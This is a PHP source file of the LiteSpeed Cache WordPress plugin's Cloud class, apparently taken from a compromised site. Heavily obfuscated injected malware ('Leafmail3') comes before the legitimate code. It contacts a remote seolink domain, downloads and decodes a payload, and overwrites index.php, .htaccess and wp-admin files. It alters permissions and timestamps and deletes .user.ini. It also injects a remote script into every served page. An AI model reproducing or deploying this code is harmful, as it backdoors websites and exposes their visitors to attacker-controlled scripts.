AlkantarClanX12
Your IP : 3.149.254.25
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
/**
* Cloud service cls
*
* @since 3.0
*/
namespace LiteSpeed;
defined('WPINC') || exit();
class Cloud extends Base
{
const LOG_TAG = '❄️';
const CLOUD_SERVER = 'https://api.quic.cloud';
const CLOUD_IPS = 'https://quic.cloud/ips';
const CLOUD_SERVER_DASH = 'https://my.quic.cloud';
const CLOUD_SERVER_WP = 'https://wpapi.quic.cloud';
const SVC_D_NODES = 'd/nodes';
const SVC_D_SYNC_CONF = 'd/sync_conf';
const SVC_D_USAGE = 'd/usage';
const SVC_D_SETUP_TOKEN = 'd/get_token';
const SVC_D_DEL_CDN_DNS = 'd/del_cdn_dns';
const SVC_PAGE_OPTM = 'page_optm';
const SVC_CCSS = 'ccss';
const SVC_UCSS = 'ucss';
const SVC_VPI = 'vpi';
const SVC_LQIP = 'lqip';
const SVC_QUEUE = 'queue';
const SVC_IMG_OPTM = 'img_optm';
const SVC_HEALTH = 'health';
const SVC_CDN = 'cdn';
const BM_IMG_OPTM_PRIO = 16;
const BM_IMG_OPTM_JUMBO_GROUP = 32;
const IMG_OPTM_JUMBO_GROUP = 1000;
const IMG_OPTM_DEFAULT_GROUP = 200;
const IMGOPTM_TAKEN = 'img_optm-taken';
const TTL_NODE = 3; // Days before node expired
const EXPIRATION_REQ = 300; // Seconds of min interval between two unfinished requests
const EXPIRATION_TOKEN = 900; // Min intval to request a token 15m
const TTL_IPS = 3; // Days for node ip list cache
const API_REPORT = 'wp/report';
const API_NEWS = 'news';
const API_VER = 'ver_check';
const API_BETA_TEST = 'beta_test';
private static $CENTER_SVC_SET = array(
self::SVC_D_NODES,
self::SVC_D_SYNC_CONF,
self::SVC_D_USAGE,
// self::API_NEWS,
self::API_REPORT,
// self::API_VER,
// self::API_BETA_TEST,
self::SVC_D_SETUP_TOKEN,
self::SVC_D_DEL_CDN_DNS,
);
private static $WP_SVC_SET = array(self::API_NEWS, self::API_VER, self::API_BETA_TEST);
// No api key needed for these services
private static $_PUB_SVC_SET = array(self::API_NEWS, self::API_REPORT, self::API_VER, self::API_BETA_TEST);
private static $_QUEUE_SVC_SET = array(self::SVC_UCSS, self::SVC_VPI);
public static $SERVICES_LOAD_CHECK = array(
self::SVC_CCSS,
// self::SVC_UCSS,
// self::SVC_VPI,
self::SVC_LQIP,
self::SVC_HEALTH,
);
public static $SERVICES = array(
self::SVC_IMG_OPTM,
self::SVC_PAGE_OPTM,
self::SVC_CCSS,
self::SVC_UCSS,
self::SVC_VPI,
self::SVC_LQIP,
self::SVC_CDN,
self::SVC_HEALTH,
// self::SVC_QUEUE,
);
const TYPE_CLEAR_PROMO = 'clear_promo';
const TYPE_REDETECT_CLOUD = 'redetect_cloud';
const TYPE_CLEAR_CLOUD = 'clear_cloud';
const TYPE_GEN_KEY = 'gen_key';
const TYPE_LINK = 'link';
const TYPE_SYNC_USAGE = 'sync_usage';
private $_setup_token;
protected $_summary;
/**
* Init
*
* @since 3.0
*/
public function __construct()
{
$this->_setup_token = $this->conf(self::O_QC_TOKEN);
$this->_summary = self::get_summary();
}
/**
* Get api key from conf
* @since 5.3
*/
private function _api_key()
{
return $this->conf(self::O_API_KEY);
}
/**
* Show latest commit version always if is on dev
*
* @since 3.0
*/
public function check_dev_version()
{
if (!preg_match('/[^\d\.]/', Core::VER)) {
return;
}
$last_check = empty($this->_summary['last_request.' . self::API_VER]) ? 0 : $this->_summary['last_request.' . self::API_VER];
if (time() - $last_check > 86400) {
$auto_v = self::version_check('dev');
if (!empty($auto_v['dev'])) {
self::save_summary(array('version.dev' => $auto_v['dev']));
}
}
if (empty($this->_summary['version.dev'])) {
return;
}
self::debug('Latest dev version ' . $this->_summary['version.dev']);
if (version_compare($this->_summary['version.dev'], Core::VER, '<=')) {
return;
}
// Show the dev banner
require_once LSCWP_DIR . 'tpl/banner/new_version_dev.tpl.php';
}
/**
* Check latest version
*
* @since 2.9
* @access public
*/
public static function version_check($src = false)
{
$req_data = array(
'v' => defined('LSCWP_CUR_V') ? LSCWP_CUR_V : '',
'src' => $src,
'php' => phpversion(),
);
if (defined('LITESPEED_ERR')) {
$req_data['err'] = base64_encode(!is_string(LITESPEED_ERR) ? \json_encode(LITESPEED_ERR) : LITESPEED_ERR);
}
$data = self::post(self::API_VER, $req_data);
return $data;
}
/**
* Show latest news
*
* @since 3.0
*/
public function news()
{
$this->_update_news();
if (empty($this->_summary['news.new'])) {
return;
}
if (!empty($this->_summary['news.plugin']) && Activation::cls()->dash_notifier_is_plugin_active($this->_summary['news.plugin'])) {
return;
}
require_once LSCWP_DIR . 'tpl/banner/cloud_news.tpl.php';
}
/**
* Update latest news
*
* @since 2.9.9.1
*/
private function _update_news()
{
if (!empty($this->_summary['news.utime']) && time() - $this->_summary['news.utime'] < 86400 * 7) {
return;
}
self::save_summary(array('news.utime' => time()));
$data = self::get(self::API_NEWS);
if (empty($data['id'])) {
return;
}
// Save news
if (!empty($this->_summary['news.id']) && $this->_summary['news.id'] == $data['id']) {
return;
}
$this->_summary['news.id'] = $data['id'];
$this->_summary['news.plugin'] = !empty($data['plugin']) ? $data['plugin'] : '';
$this->_summary['news.title'] = !empty($data['title']) ? $data['title'] : '';
$this->_summary['news.content'] = !empty($data['content']) ? $data['content'] : '';
$this->_summary['news.zip'] = !empty($data['zip']) ? $data['zip'] : '';
$this->_summary['news.new'] = 1;
if ($this->_summary['news.plugin']) {
$plugin_info = Activation::cls()->dash_notifier_get_plugin_info($this->_summary['news.plugin']);
if ($plugin_info && !empty($plugin_info->name)) {
$this->_summary['news.plugin_name'] = $plugin_info->name;
}
}
self::save_summary();
}
/**
* Check if contains a package in a service or not
*
* @since 4.0
*/
public function has_pkg($service, $pkg)
{
if (!empty($this->_summary['usage.' . $service]['pkgs']) && $this->_summary['usage.' . $service]['pkgs'] & $pkg) {
return true;
}
return false;
}
/**
* Get allowance of current service
*
* @since 3.0
* @access private
*/
public function allowance($service, &$err = false)
{
// Only auto sync usage at most one time per day
if (empty($this->_summary['last_request.' . self::SVC_D_USAGE]) || time() - $this->_summary['last_request.' . self::SVC_D_USAGE] > 86400) {
$this->sync_usage();
}
if (in_array($service, array(self::SVC_CCSS, self::SVC_UCSS, self::SVC_VPI))) {
// @since 4.2
$service = self::SVC_PAGE_OPTM;
}
if (empty($this->_summary['usage.' . $service])) {
return 0;
